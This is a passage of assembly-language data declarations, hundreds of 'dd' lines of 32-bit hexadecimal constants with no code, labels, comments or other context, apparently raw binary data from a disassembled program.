dd 0D0061E62h, 0A5B3409Bh, 0F548B2CEh, 15C70C03h, 0B8C28676h
dd 0D50A2Dh, 83DB7540h, 0A87D3ADAh, 766B3Eh, 94412BEFh
dd 6F21A6h, 5074328Bh, 0BF62E98Eh, 20E72324h, 976E3600h
dd 53346940h, 407CB0F7h, 3048A78Eh, 0D826015Ch, 19D5A05Bh
dd 0BA969030h, 0F79507C8h, 97B7CCBFh, 5AFA80E3h, 9400791Ch
dd 7DEF7AA1h, 4B8773h, 276BBFACh, 0BD366C86h, 8B2F9E00h
dd 0CE76F55Fh, 0E4ABFC48h, 124D046Eh, 80E51641h, 0FD08302Ch
dd 85D2C300h, 0C89C46F8h, 324A0005h, 0DF809538h, 3005BCFh
dd 0E97DF1B3h, 9F6842h, 8EDD2AFEh, 0E0CE4E6h, 4E093E01h
dd 0C07BC982h, 1927A9E7h, 4A1EE820h, 394801E4h, 20E90F93h
dd 0FEA1EC24h, 0F82F21FEh, 0CC00C1B1h, 0F7BFEDDDh, 0C9479988h
dd 0A880E4F2h, 197FA071h, 49B5B300h, 0B6C20B8Dh, 0C7F8141Bh
dd 0F900A866h, 864B70CDh, 841CB833h, 803CBA7Fh, 0EB346BAAh
dd 1520B4h, 5D9A2F10h, 22DD9E6Eh, 84D3000h, 67FD182Dh
dd 9831E219h, 0F43A01FDh, 73363DB9h, 16402892h, 6D0008BEh
dd 0F80ED79Ah, 0DB3A00ADh
dd 0E6E9FC10h, 76009027h, 0F06F5C37h, 85249Bh, 0F650AA35h
dd 48A89729h, 1B092500h, 0A3FFE14Eh, 0FDB72A0Dh, 0CA8305C0h
dd 0C0438E3Dh, 0BEC103ACh, 0CC299B2Ch, 0ADAFD900h, 904BA62Bh
dd 5FA91ED0h, 0C8D40082h, 0FA244973h, 0E8B7D203h, 888DC33Eh
dd 0A2CCAh, 4F54965Ch, 31A0A5B0h, 0DEBA4901h, 0AD0E9C0Ch
dd 0C0A1420h, 0F8028A04h, 12098C11h, 81BC7FD3h, 4570E154h
dd 536FF8h, 0D1C7724Eh, 4FD04904h, 1457DF4Ch, 30F01C1Eh
dd 0C492F1A5h, 0F4C9A5Ch, 2104C858h, 80A0E86Ah, 201432D4h
dd 2F072DFAh, 88100E31h, 0FB2BAB20h, 0C6CD009Fh, 0A61CF9ECh
dd 0B7008FC3h, 1115F3EAh, 2C1BA43Eh, 8010ED7Fh, 0E409CC38h
dd 0B312428Eh, 0AAFEA8h, 0A4C2128Bh, 5D503E94h, 0D4032AFCh
dd 1D201B82h, 89E658h, 60B90E98h, 131EE9A7h, 0F7D480C0h
dd 2047A64h, 54194D53h, 0DC406DC3h, 7C940516h, 88FBF560h
dd 3B640F8Ch, 75E0142Ch, 463659CDh, 925C9100h, 15C92663h
dd 32A0009Fh, 0A734968Fh, 0B40B1E7Eh, 814EB2EDh, 314B6EF0h
dd 9E5FDC00h, 0F1790501h, 8B7A022Eh, 0C6E6A882h, 0A8A32A61h
dd 12003B28h, 37E41C4Ah, 0E1C54Bh, 2D5A7C64h, 0F425FE09h
dd 2C423Bh, 0FD7E71B4h, 9CC24Dh, 0C3D3FAE3h, 0EBC8592h
dd 3A6C5500h, 0D12B1A2Fh, 52E400FCh, 14F0BDB9h, 6200703Dh
dd 75F4A8B6h, 2CEE6Ah, 0AE379594h, 4B1C59F8h, 0E1A73Eh
dd 3E6E8A79h, 1B2B8FDh, 0CE74BA47h, 0F08D16C9h, 530719ECh
dd 6F3A3665h, 9BF47C00h, 45F60E42h, 0ED618010h, 6F39628Dh
dd 0B7E6E0h, 8A0350F2h, 29CC093h, 0E2C0900h, 0CF623DA2h
dd 0E5FD0316h, 0D6E67AE3h, 5672D000h, 0A5BF8D10h, 946A0153h
dd 0DAAF6E0Ch, 8933F834h, 30DD9B00h, 0AD1E75E7h, 912A00FFh
dd 1C45CC0Dh, 0CCF16894h, 430026F1h, 0EB852B96h, 0DA1878h
dd 0C20CD2DBh, 9590A6BEh, 0AC6CE800h, 0D5EF407Dh, 0D1CF38FDh
dd 3193AD00h, 9FA7FCB8h, 0D0AC6A00h, 6E4952EEh, 75E474A9h
dd 0AAB20207h, 314C0C6h, 0BB288C80h, 0D2005071h, 0D52333D1h
dd 74095622h, 15D3000Ch, 5E564EBh, 593078A4h, 0B1A91934h
dd 448800C9h, 0EEF57E36h, 0ED1D3A4Ch, 0B7803E45h, 7A9081C6h
dd 516C00F4h, 0DD238B17h, 0D51E6E32h, 2C00DF7Ch, 3C6DABDh
dd 86FB0981h, 1B0FF7h, 655C7100h, 668F4A9Dh, 0E8BC0384h
dd 0A7530D27h, 0EBA0EA93h, 730249DAh, 2F42E61Fh, 6CF40D4h
dd 5F310047h, 7BAB1D0Fh, 5A00AE2Dh, 0F58194FFh, 3B582793h
dd 0D728C744h, 65CB03DCh, 0F274029Bh, 4621B9F8h, 3DEC3A00h
dd 0FC05CA73h, 6CE300C9h, 548E8A9Dh, 6C902790h, 0BC6E6402h
dd 3FFB709h, 0AE4EBE4h, 1984C0B3h, 1D80A081h, 7713268h
dd 94330EE0h, 4456B0F3h, 4A003FA3h, 86783125h, 1DF16C8h
dd 0D9EDB613h, 0F0263A4Dh, 401E4694h, 1B428C3Dh, 0E0224567h
dd 1FF075ABh, 0C0B7E0A3h, 29435738h, 6E00ADD3h, 8C232761h
dd 0E5DA335h, 380EA73h, 3394C5E0h, 0E70091EFh, 0AFA1B9FFh
dd 2CB6740Bh, 796E8Bh, 5B75FB48h, 900F237h, 0D2A5CCC0h
dd 0AC0630h, 14E48073h, 2F8AF7Eh, 5D53FC00h, 0DB829F9Dh
dd 2E7800CCh, 0CE19D310h, 0F0CEB42h, 0C8414ED6h, 34F938E2h
dd 578FA200h, 0D2E820ADh, 5E69CE00h, 15B8731Fh, 65BC00D9h
dd 1D275FACh, 763FFF9Ah, 13028B12h, 3A538041h, 2FF255h
dd 328FE250h, 0AB5BDA5Dh, 3C175407h, 0D457CAB2h, 0EC16080Bh
dd 581E003Ch, 2B088755h, 4E00065h, 7C853756h, 0EE00AB6Ah
dd 6C100533h, 601571DAh, 8B25A8C4h, 0BC0B7448h, 0FCE5E1h
dd 0C00E4EEEh, 0DC3F001Dh, 0E713DA1Bh, 620064F4h, 8661E5ABh
dd 0BB65A3h, 4F8C2017h, 4C2BC3C0h, 5C242105h, 0A0005523h
dd 401C567Fh, 56D0078h, 9B60D050h, 0C4CBCD8h, 803A3ABCh
dd 65893C7Dh, 9002CDAAh, 2AEE2D0h, 6C379228h, 9C81A153h
dd 0DE8C2B12h, 7964B068h, 0D6B30101h, 1570504Dh, 30C38420h
dd 333EEABAh, 4500C755h, 9F4EA6A8h, 351911h, 94BECA38h
dd 8DA53150h, 88C3DB24h, 0FF6B7900h, 0E5D21298h, 727A2F8h
dd 0A4B95C0Bh, 5F285068h, 7029F10h, 0F2ECFFE4h, 6D2040B4h
dd 1B57023Dh, 3B956723h, 21318F40h, 0A77C3Fh, 8F0F152Eh
dd 0FB4C60h, 45B52FECh, 0BBC3FC75h, 822ECFECh, 0D300DBA6h
dd 416A9DCEh, 876700B6h, 0D2BE5A59h, 0ED00E678h, 0DEE70225h
dd 0FE1092D1h, 17700049h, 0B5F739A6h, 0E1004521h, 8B60839Dh
dd 422774h, 3A7D611h, 50C0CAB3h, 0FCEFAC24h, 80E00B9h
dd 3B799445h, 57900E72h, 2F20E6C6h, 469EBB3Ah, 3CC3F50Fh
dd 56648049h, 95A9D2h, 8FC49DFBh, 39ACD143h, 5E9BFD01h
dd 0D96F2890h, 0F7F41021h, 176844EFh, 48989900h, 0D02F1E71h
dd 0F8E754C5h, 5C14099Bh, 189896D3h, 33122DA5h, 0E807B920h
dd 0E910F658h, 0ECB8347Bh, 71BFA4Ah, 93F38075h, 10C9503Fh
dd 7D50485Bh, 0BD00EFEAh, 0CCBCB927h, 5E7FACh, 0E6F3656Dh
dd 629607B8h, 0AD05557Bh, 38B98A10h, 23089281h, 0DA1AE4h
dd 0B6FEB0BFh, 4860CA47h, 0EA782730h, 0E34C113h, 0A2E7148Dh
dd 10CD7002h, 2BEAC740h, 7F0CFC13h, 681A5500h, 0F8B1217h
dd 199B44E4h, 3422D4C0h, 8003D818h, 1A901379h, 938C805Bh
dd 0A2743Dh, 68126ED6h, 804CFC52h, 0C1A89500h, 38D0ADA7h
dd 0C4C95027h, 6FD90070h, 1CF8C77Eh, 0A73FD7EEh, 4D04004Ch
dd 18D02722h, 834815CEh, 0C312F044h, 64530053h, 0D0B9E5E9h
dd 0EB30290Fh, 378CE01Ah, 2BE171h, 8E91524Bh, 0E77D7F4Dh
dd 0AC663C00h, 0E2964CB7h, 0EF7864h, 896A19E4h, 0C27CBE54h
dd 2FF060C0h, 1B06D9FBh, 70F69943h, 0BCBE63E0h, 44665A00h
dd 19D9657Ah, 10945043h, 0BF113071h, 16C6A8A1h, 8AACC37h
dd 0F5DD7071h, 0E566C3F3h, 5535B900h, 844536h, 3F08947Ah
dd 296D20CFh, 0BEAEE502h, 80496C28h, 433171C6h, 0BF234CCEh
dd 0B6759400h, 0BC76DC89h, 16035CE2h, 11DF3F44h, 0CD53E764h
dd 0D99001DEh, 4251126Ch, 0F11080D0h, 0AFDCAA2Dh, 0FB2C002Eh
dd 0DF7F5305h, 1E7E74DEh, 262178AEh, 8CBD00C2h, 0D5B2C03Ch
dd 7C0B5C00h, 0D2F2FD8Ah, 0A8A007CDh, 40D85E37h, 0BF710C0Fh
dd 0F3F79807h, 43C13C4Bh, 0DED017F2h, 618400F6h, 2AC17079h
dd 9B006FBAh, 7D80969Fh, 98579737h, 0FDFA8035h, 59D023Ah
dd 0CEAAA217h, 7D2B4C0h, 71B7CB00h, 304F589Ah, 4873BBh
dd 5451265h, 2FD44D79h, 29008074h, 1703377Bh, 8662ECh
dd 0E172268Ch, 0EE8E5B1Fh, 23F0C31Ch, 8FF1A14Fh, 74620104h
dd 302460C7h, 0B10A00D7h, 7D4EA201h, 290B5F64h, 0F99ED9h
dd 0CFA02890h, 0D5D63DFEh, 0B8252000h, 0E40A0388h, 42ABFA00h
dd 0A9543FF9h, 0AAE30045h, 11607C53h, 490DE20h, 0BB914B00h
dd 0F8BC2D5Ah, 22ACA127h, 488D96E8h, 9B012459h, 6A482ECCh
dd 2229BCE8h, 836F2292h, 2296B322h, 0D022BAC6h, 857D2293h
dd 5811F742h, 88421B1h, 0EB907C86h, 48B6CB84h, 75E780E8h
dd 0E055498Ah, 0FE0BBE00h, 634B8422h, 0E7E17A2Bh, 65B064h
dd 647A71DCh, 0A933D891h, 7597A703h, 0C0B3A83Dh, 0B45A43h
dd 0A4326288h, 3E69C491h, 0FB18191Eh, 0D6C021C5h, 521D5980h
dd 38040077h, 1A937E02h, 0CE034F9Ch, 314B3663h, 0E16D901Eh
dd 0C1E410h, 8B82602Dh, 145FE247h, 213D700h, 86CEB524h
dd 1E56007Dh, 0E09DC84Ah
dd 0DF055D2Ch, 0BDE5C0DCh, 76DD7280h, 0DEFF1FF3h, 0F35C02Dh
dd 5AE3621Dh, 72F28500h, 66C90E68h, 63A1004Ah, 5B3440CBh
dd 0D3002189h, 0F886B107h, 0C8AE7Ah, 1F3EF449h, 6473A861h
dd 70F0055Ch, 2300ECF2h, 446E8935h, 5AA748h, 754D02FCh
dd 0FEDDB846h, 9D214A1Ch, 89CED582h, 871E17Eh, 9A7E2F4h
dd 2A3E25BBh, 0EBAD3080h, 0FE00E4BEh, 52FD7D2Fh, 67E84C7h
dd 0F42E1A34h, 79008881h, 7287AEE2h, 79B1799h, 23356A67h
dd 0B018A4A4h, 0F5E64BB4h, 5DC61600h, 73CA45FBh, 0C76D006Fh
dd 0BF086BCDh, 0F500A887h, 0D6DCB5E2h, 7D7ED83Ah, 828300A0h
dd 0FF9D64D9h, 4A00D289h, 6619EDBFh, 4CF517A5h, 7722E8Bh
dd 0C6A3EB85h, 81083E9h, 0B97078D0h, 0EF831700h, 0DA1DD54Eh
dd 4CFE5C03h, 0F48E4C00h, 0BCD25EBDh, 19B27C00h, 0E472ACEEh
dd 0C07000A3h, 2C263C04h, 0A43BC877h, 103B24C3h, 0B28C6100h
dd 0F9752Eh, 76C0BE4Fh, 0D3B12F59h, 0A53F181Eh, 84CBFDC0h
dd 9AFFA9CDh, 45F31DD4h, 0A3B3004Ah, 4DE50F06h, 18028400h
dd 0B7FE1A72h, 2D0B1F99h, 6CE3C055h, 7D9662ACh, 1568CC01h
dd 0DF8D809Fh, 1F232BE4h, 40B21750h, 89BD42FAh, 6B0CE431h
dd 0A8816A2Eh, 7D520511h, 0C139639Eh, 0CA25D6CCh, 0BECEB200h
dd 908600A4h, 0AFEBF1D3h, 0B70014D1h, 0D8200F17h, 989A1Ah
dd 0D22BDE6Ah, 3E452FEFh, 0C3C4E000h, 35FD94C2h, 8B6C0B51h
dd 40803A4Fh, 1A81F2DCh, 6E117E00h, 0C31DD314h, 0BA6A7676h
dd 74D40010h, 24CCCDCAh, 261CD996h, 33003D80h, 18BFA2E4h
dd 51F23990h, 0EF8240BEh, 5DB66A8Dh, 254E6840h, 0FFDFD700h
dd 7D1C3A43h, 5685008Eh, 7C746A8h, 50004260h, 0F4E0A138h
dd 0FA5E216Ch, 8AD90071h, 1C6514E1h, 0DD071E9Ah, 50C32A93h
dd 5462A870h, 3FCA00B8h, 34D57F29h, 9C000327h, 0F2B45B55h
dd 11BF6B2h, 0E861E95Dh, 0F5F01096h, 4024F5ECh, 2A5A21A4h
dd 0A0C23000h, 6806E9D4h, 80A0001h, 0F583DD93h, 35000250h
dd 7F282EA6h, 0E4A547D6h, 62702EDAh, 0B03B016Eh, 0D00AD4EEh
dd 95016D8Eh, 0F05640D5h, 1C8F809h, 82751E3Ah, 541B4B4Dh
dd 9DC91700h, 7207559Fh, 0D7DB2DAFh, 0D2F07C90h, 0D47500B0h
dd 707EBE3Ch, 0B27E5192h, 4DF4FF1Dh, 60C6D140h, 0B8387CE4h
dd 1C9D17FEh, 9490071Ah, 554310F5h, 90084D1h, 73A5A751h
dd 0C0FA8B7Bh, 0D264E618h, 29C0A4C9h, 0CCB6B2FDh, 0DA7E0E80h
dd 43F8DD6h, 0C0EC67C4h, 16128277h, 324F307h, 874081A5h
dd 7A98BBFh, 0DC3B8C85h, 0F2687375h, 0C7AB1C0h, 0FA21BD26h
dd 1F118718h, 0B0E03CCBh, 0EF97400h, 72AF59D4h, 0D046A00Bh
dd 421E8790h, 73969970h, 0F1841E98h, 83F75F9Ch, 0CE86EA23h
dd 85D6FE07h, 1F8187ECh, 1EE8AC53h, 5A5C078Ch, 10046C19h
dd 6A5161AAh, 44B0B800h, 20239C2Eh, 952609B9h, 0DB801FCFh
dd 0F5D3BCF7h, 78556300h, 9F0BA229h, 371B00D4h, 4903C6BFh
dd 9B5C7097h, 9A13F4Dh, 58E4443h, 0B600E6A7h, 13DE72E7h
dd 41A80907h, 803605Fh, 0E5C1593Ch, 0FCB5D47Ch, 0A4529928h
dd 0B9D2B400h, 0F8DF72BFh, 79A3B5Eh, 4F6C919Ch, 90C065DBh
dd 2F4B636Ah, 339FAF00h, 623E2666h, 98AD1E3Fh, 222500DEh
dd 1C273908h, 0C6A0A500h, 7B516C2Dh, 1ECA003Fh, 0C2C136F0h
dd 6200D37Ah, 0EEB50FA0h, 5E7FC4h, 562908E3h, 1D77755Dh
dd 3B211F1Dh, 86E85F45h, 5CC4D000h, 0B919213h, 49190B71h
dd 356D8303h, 87E52100h, 0B411FC0Dh, 0B4955468h, 0EFE9008Ah
dd 4AD9F25Fh, 9F1C147Eh, 3B812C6Ch, 95731E47h, 0EEE82ED0h
dd 0F6C500F2h, 9AF94E42h, 0E31E184Ah, 0AD0030D8h, 0BDAB32F7h
dd 3B610013h, 5B56A6BBh, 0D300B821h, 0F4B6D181h, 0FCA5E894h
dd 34C9059h, 17274C55h, 57BB6A15h, 6D3DA8C0h, 8A697F1Fh
dd 2042B180h, 0DB5162h, 0D1EE85D5h, 2C61258Eh, 4F1F86F2h
dd 7E41293Eh, 0D8020D82h, 6646F0h, 34D687A3h, 32C27016h
dd 0CF52CE00h, 0B56171E3h, 0BD3E05D0h, 80678CCAh, 0A833CB90h
dd 8131773Fh, 46D1C1D2h, 1DECDBF8h, 1723003Ah, 0AF2928DAh
dd 0A4A1845Dh, 8C598012h, 77F60748h, 5680006Ch, 9CE15E68h
dd 0E0C0ECF4h, 0F01BCD4Dh, 1520904Ch, 0CC3ABA7Dh, 74C1F2Eh
dd 80E404BBh, 1BF99ECAh, 62570500h, 0B0890C44h, 0B32F0047h
dd 95FF7730h, 0A030860Fh, 0DAEA8085h, 0E0254851h, 0BE816D07h
dd 0ADA4F06Eh, 0A162CAAh, 6B004DA0h, 1F3D5AF7h, 0EE550189h
dd 0CC381927h, 0E8A2E4D2h, 0EFBA8E00h, 1678621Ch, 67CA0073h
dd 9DB1793Ch, 3E008AA2h, 60E47003h, 3621378h, 0B3320736h
dd 99F0664Ch, 0C50074EEh, 0C85A5FDCh, 43C3B4h, 757CF448h
dd 50042BAEh, 0B660F8C0h, 0FEB3C5h, 1661149Ah, 0C8546AA0h
dd 1807E303h, 0D7D55504h, 33D30BC1h, 7A5270h, 0C162CAE1h
dd 796B72D4h, 1CC8FD01h, 10C278FBh, 0D9C24h, 0B5DF74D8h
dd 8E860521h, 0E3EFFE03h, 90A2686Dh, 7264442h, 4B72C62h
dd 166770F2h, 0C5004358h, 55DA63BCh, 9406964h, 0BDE52393h
dd 0CD6198A0h, 9D0213FBh, 51901BB6h, 1FE08042h, 0BB1520h
dd 0E4B1B40Fh, 60A05CEFh, 0D0532714h, 3C9240B5h, 1426052Eh
dd 8BA10E00h, 0F04BCB0h, 874DBF7Fh, 60E9D9E0h, 44F2F6CCh
dd 55AD5700h, 8E470777h, 56AA0288h, 3A704594h, 0FCAD0448h
dd 0A093A50Fh, 20DD00B5h, 79312Ah, 8F3498A4h, 0B337D92Fh
dd 2B469500h, 0CAD660C5h, 0A43B3F10h, 0D22E5980h, 0F7C84F6Eh
dd 4071EC00h, 743568A5h, 9F20Fh, 6434D73h, 0B90D0217h
dd 328F5A13h, 0B767C440h, 0ED2273h, 66CB469Ah, 0F3F4858Dh
dd 99038307h, 56E7651Ch, 343680B0h, 0F747130Ah, 0CDE04B07h
dd 1449C00h, 0A1ED1B54h, 8502A468h, 4B29E00Bh, 0F7F0D858h
dd 8E15007Eh, 0D5EFAD40h, 3009DC7h, 0EB4AB3A3h, 955AE52h
dd 471BA6B8h, 8F4368A0h, 0E100453Ch, 0DBF5CA5Bh, 0F83DCB3h
dd 0F06DABBAh, 0CE4ABFC0h, 5F004814h, 0A96C0EE5h, 475E3D2h
dd 0AB536BB9h, 8D480C5h, 767103DAh, 84D0901Dh, 740DC080h
dd 0C5915Ch, 2E9040Fh, 0E73367Bh, 17D14A07h, 0DC50F1E5h
dd 26AF37h, 0F359F210h, 0EFE365C7h, 8AE7EA16h, 1674D30Fh
dd 1D24C020h, 0E4BE4980h, 80795A1Ch, 8DA9D286h, 0B704ACE9h
dd 24B39AA1h, 0C7C14D0h, 0E5D10031h, 3F510FD6h, 0EB4DD7C6h
dd 0D0771134h, 7B424E00h, 741F9093h, 51F0B863h, 0F13BC192h
dd 71D90970h, 0EFC11C67h, 0CB0F0066h, 8A343C62h, 1DF3700h
dd 584D6A28h, 0C97000B3h, 2D800944h, 51002F40h, 3A554259h
dd 8CA0E0h, 7BA12CD4h, 73CE7884h, 1ABE8600h, 9B28D19Ch
dd 98115994h, 4E16E401h, 0D8E230C0h, 0A954FE64h, 0CD0119DCh
dd 0C22FCE08h, 5CE8395Fh, 5E3F01D0h, 0CBF8ABC3h, 9F9A30B7h
dd 845B4728h, 0FA0072ECh, 1A55390Ch, 50368E22h, 487E26Ah
dd 7580AEA7h, 0C1918073h, 55000133h, 84A2655Dh, 0AE540h
dd 0F3E6F902h, 24152AEBh, 4ECD6C00h, 0E8BC5F74h, 748D5DB0h
dd 0E8C5728h, 1AEF1B1Fh, 0C015D004h, 393466D7h, 0E082F107h
dd 5DE7B9BFh, 4025DF70h, 0E06C9058h, 860A02ACh, 4C9701F6h
dd 0DAD5C899h, 0AE198200h, 74F86Dh, 9123BD64h, 4C25775Bh
dd 803EFB38h, 0A85D9841h, 12C56F9h, 515965FDh, 0C804C7B0h
dd 26004001h, 144E812Eh, 69E0B8h, 61835222h, 5B01C621h
dd 651B1009h, 85F681A1h
dd 0F0C4F73Bh, 91AC001Eh, 15E37CFEh, 620E4246h, 0C0CD96C2h
dd 0AB86D939h, 77ED1318h, 711E79h, 0CF99AE35h, 0B760F498h
dd 0B6C45321h, 0F0FE0001h, 0CED7FFD6h, 5DB8DAD5h, 0FA2D6E00h
dd 33639E09h, 5F7B37h, 6A4F01E9h, 48B73E92h, 0A4314001h
dd 0F714AF6Eh, 65D720h, 7FD12C8Eh, 7AFFAAEFh, 0F12EB3Eh
dd 808D3505h, 91EC5872h, 0F3FA0094h, 0A803A981h, 50002D3Ah
dd 353BE64Eh, 9864F270h, 1ADE00F2h, 0E37857C8h, 0F37A9669h
dd 6490E00h, 0D23DCAF4h, 54BB0639h, 0BEDE3620h, 1677AF00h
dd 0D0DC637Ch, 1274F0D5h, 0E0657E1Ah, 75F6E464h, 0AD19F600h
dd 0D33644F0h, 0F927075Bh, 20B8DC65h, 28DBBC77h, 4C33B50Eh
dd 86214016h, 3B1A1A8h, 4FF9593Ch, 18C85864h, 19054348h
dd 96466A14h, 2B62C000h, 0A97152h, 72249580h, 65574548h
dd 0F9348B00h, 0AB8ACDB1h, 40800D6h, 132B95DFh, 5EFE89F8h
dd 0B8B7BD00h, 0A3C26394h, 691A00E5h, 0AD37A876h, 6A003574h
dd 3F28F4E8h, 32C6368h, 0A43C78A0h, 9038241Fh, 2646AE7Ah
dd 2A76B300h, 9E5FBEh, 4493E926h, 0F33F50DBh, 0F207A200h
dd 2FBE8D60h, 77B8C0A7h, 0A5B5F7D5h, 2DDEE0Fh, 89246055h
dd 0EE54507h, 0BD0878E8h, 0F536500h, 3007A243h, 0A540EBCh
dd 0AE241A40h, 75CA0FD5h, 9AE0B13Fh, 0D8390571h, 0D9C45400h
dd 9F389E5Ah, 17A78B9h, 9D3C2069h, 0D01D2151h, 0F0E35CAh
dd 408E7C97h, 0EEE75E81h, 0B18300C0h, 82D1B614h, 402D818h
dd 67E87D8Ch, 0FD1040B8h, 57C41CB5h, 0A7E3C055h, 6DB0B405h
dd 0E0CE5F00h, 0CB95790Bh, 73119050h, 0BE270015h, 196BD38h
dd 0C43D5B85h, 88B80EC3h, 106CE7DFh, 0C0FF55F0h, 0B6AE007Bh
dd 25802E17h, 5400F7D7h, 0A753477h, 0C828A5h, 0D4BDD392h
dd 7EB4CAA4h, 3F4AC600h, 0B1D7A114h, 173E001Bh, 4D253A83h
dd 0BA00C1B4h, 50797D84h, 0F065AF0h, 18FD807Ch, 4E47E660h
dd 190171C8h, 0E7E1D357h, 4520DE9Bh, 0F8B0951h, 71817D1Ah
dd 0D013F349h, 0A600B6AFh, 0DA07AEECh, 72B09Bh, 0B9500FE1h
dd 39C3A31Eh, 4A00E6ECh, 0C1DBEB41h, 3DE9D47Bh, 8081F67Eh
dd 56AC12A2h, 701DC0DDh, 0E5114400h, 766DDEFFh, 0D0650092h
dd 0B19BAB95h, 34F833BBh, 0B3004CECh, 92F9FD55h, 1EEFE778h
dd 4798537Ch, 60B0BBDCh, 82AD732Ch, 8326EA74h, 6200782Dh
dd 0DE84C03h, 243201A7h, 0CD53FC35h, 3BA824BFh, 789295Ch
dd 5B36DFB6h, 0A9AC2570h, 3DD400B2h, 9728225Ch, 7C73A3C6h
dd 0ADB35300h, 0C74C69F1h, 58EC289Eh, 8820F1C5h, 40EA02FDh
dd 865D0417h, 42EFE360h, 88E91631h, 1440B22Ch, 1DB066EEh
dd 69EEF56h, 18DB316Ah, 1076EC30h, 30B53E7Ch, 6920F287h
dd 0E01E66ADh, 3BB7D10h, 67AB6D29h, 8B5800E7h, 6EF54961h
dd 96008685h, 26E55CB0h, 0F259FC17h, 407E6955h, 122F00A0h
dd 33EA9E36h, 671DD400h, 0EFFB38EEh, 0AB6E0034h, 0A8E80BBCh
dd 80048C65h, 0A09ED61h, 6C52C781h, 1EBC5BD8h, 8B6B89h
dd 48F081D6h, 0DF007F97h, 0CE6478B5h, 9057B20Ch, 73E07CDh
dd 9394E421h, 0C5B85FFBh, 1E005BAAh, 4F10B803h, 3C1DB05Eh
dd 13803F72h, 0FCECDA9Ch, 0A8EEA0D8h, 2705D300h, 12D6D4BFh
dd 0E1F03BBh, 0FFB2F5B3h, 0B438CAF8h, 2FC9FB04h, 9CC086DBh
dd 0E0ECF790h, 0FDFC0055h, 4EB5F95Bh, 3A0098E4h, 505DB7BEh
dd 0D5426h, 60FF5FDDh, 7407EB6Fh, 0EA068700h, 0BC1CAB8h
dd 2228C268h, 0CC0103Eh, 0C300BE81h, 0BAAF1D7Eh, 7CBB18Ch
dd 0BB37910Fh, 678590F2h, 0A2184E24h, 9250F51Bh, 83F04077h
dd 0C40A7971h, 0A00D90CFh, 6780391Eh, 72E02071h, 0C21118A5h
dd 7EB8203Ah, 0E845A914h, 38B9F120h, 0EA0CEE18h, 0C12482E8h
dd 784D3EC4h, 94BE8303h, 9309BCEh, 5A64211Ch, 3E340078h
dd 11567B6h, 81F9BA11h, 8DDC0340h, 0EFE0D32Ah, 19B760F2h
dd 34E51B98h, 0B8063203h, 180E39E9h, 20CBA008h, 0E50063F5h
dd 10E23BD6h, 28BB384Ch, 0C8C7612h, 61349B1Bh, 4928DDA1h
dd 367C9CC3h, 1135A18Bh, 0B487218Ch, 960B99A9h, 80333D90h
dd 1968D995h, 0B8900CEh, 0B6D3A40Ah, 41079EBFh, 3985D37h
dd 4E8BEA10h, 8C41D028h, 4A00E323h, 56836D78h, 0A9208690h
dd 435900D5h, 0D21D5278h, 9B006076h, 2192E620h, 80E27Ch
dd 0E93A6463h, 1D51D24Ch, 4581860h, 6050AF24h, 5D2A69C1h
dd 0E7039F3Fh, 4CB49E57h, 33083058h, 3FF50121h, 2FD0D301h
dd 5E1AE939h, 0C19C5882h, 0A8A0B455h, 786B958Bh, 6C63B90Dh
dd 8AF0A0FFh, 568100FDh, 182E2811h, 8CCF069h, 2EBD2188h
dd 11281E5h, 4BDD4635h, 9BA6CC71h, 0B0C21DDh, 0F77089D3h
dd 0E5E43D8h, 22BE0987h, 0FC428B54h, 1430A4F2h, 4E8977D7h
dd 41B681B9h, 0DB502081h, 0C04C8A29h, 0B5BC6306h, 0B3F13058h
dd 0F8319D41h, 0ADD68D0Eh, 79504C63h, 2A1B90B8h, 464C94E1h
dd 0E57202F4h, 310E324Dh, 1AF810A1h, 3D6502E5h, 5F033358h
dd 0E37E2C46h, 3FC1C200h, 0A0FBDC1Fh, 0FC543AB5h, 0A3091980h
dd 0B124DD26h, 0B97BB80Ah, 0FBC0C075h, 46115081h, 177522D8h
dd 81E453h, 0DA62F16Eh, 8901B2FFh, 7F0294AAh, 2980EE63h
dd 97128480h, 3500C1C4h, 76DAA88Eh, 2A0C3DFh, 2EEA33BAh
dd 24624D3Bh, 2192E004h, 6A10CC34h, 52335AFBh, 0E8ED1164h
dd 1F1E4E2Ch, 43211DEBh, 2FB01105h, 0F3AB6AF8h, 38A05C03h
dd 9836DC8Ch, 159E40CFh, 8C0D875Ah, 4F3D0071h, 53A71D07h
dd 17297166h, 2A809CFDh, 9E64F004h, 0BCE50F8Dh, 0C740B7FBh
dd 0C327E3ACh, 2EB20B0Eh, 5C4613D3h, 1B9FD63h, 0F6084335h
dd 20622ED9h, 0E8CE7CCh, 83697836h, 17669588h, 0AF650021h
dd 6970F477h, 504AE2Ch, 4D4E601Ah, 23D16882h, 31000187h
dd 96080770h, 78221A1h, 0C043C14Ah, 5094710Dh, 0E0331262h
dd 0B37AB9h, 69883640h, 0D6CC07FAh, 30657303h, 3CE933F5h
dd 0E00064C1h, 92D34A2Ah, 0D904620Eh, 29B78D1Ah, 515900C1h
dd 3F5C530Ch, 4726A2h, 0F4034C4h, 0F8D23FEBh, 488CE61Ch
dd 6C6924F8h, 0B47D3840h, 0F70D1E64h, 94E515EDh, 1B783480h
dd 448C6683h, 0AD005F13h, 0FBD97B77h, 182637A5h, 416751A0h
dd 60009996h, 776CEC14h, 245D19DDh, 8098B0F1h, 0D131C5EEh
dd 5904378Ch, 1F8F4342h, 1B3FCCC1h, 86440805h, 23D03142h
dd 29E8954Fh, 4024A04Ah, 465ED4CFh, 7B260EA5h, 0F2C91882h
dd 972700F6h, 0BAA9C27Eh, 100183BCh, 29EB99E5h, 29800287h
dd 0C952988Ch, 0AFFECFCBh, 3937FD06h, 44B8EC17h, 7608215h
dd 1859D931h, 0FB4800F7h, 62FFF2E3h, 0E901F8B0h, 5E74900Fh
dd 90325243h, 0CCD9D800h, 75C9ABDh, 0B4CFC12Ch, 0D5A82174h
dd 7E0A999Ch, 8B868888h, 264119E4h, 43F81301h, 593ECD39h
dd 7C701A4Ah, 0F67C4131h, 0E5097418h, 9C1E324Bh, 1CF600C8h
dd 5373BDE5h, 0BE58C791h, 0FA7160C0h, 156B5A69h, 3048F13Fh
dd 6D01E923h, 56324AE5h, 0F380F463h, 4B4EE575h, 0ADED9E01h
dd 6962F22Fh, 524AC984h, 260E40D1h, 0E0CA8EFCh, 9CDA0004h
dd 0E68FF02Ch, 0A5003706h, 0D295F3D7h, 167E6E4Fh, 8536F28h
dd 0E1C01F78h, 46115281h, 8222C8h, 9D81E9A9h, 8B7F1CD9h
dd 57386405h, 4C2EB0Dh, 1C4A2CAh, 80708F04h, 35D36A8Dh
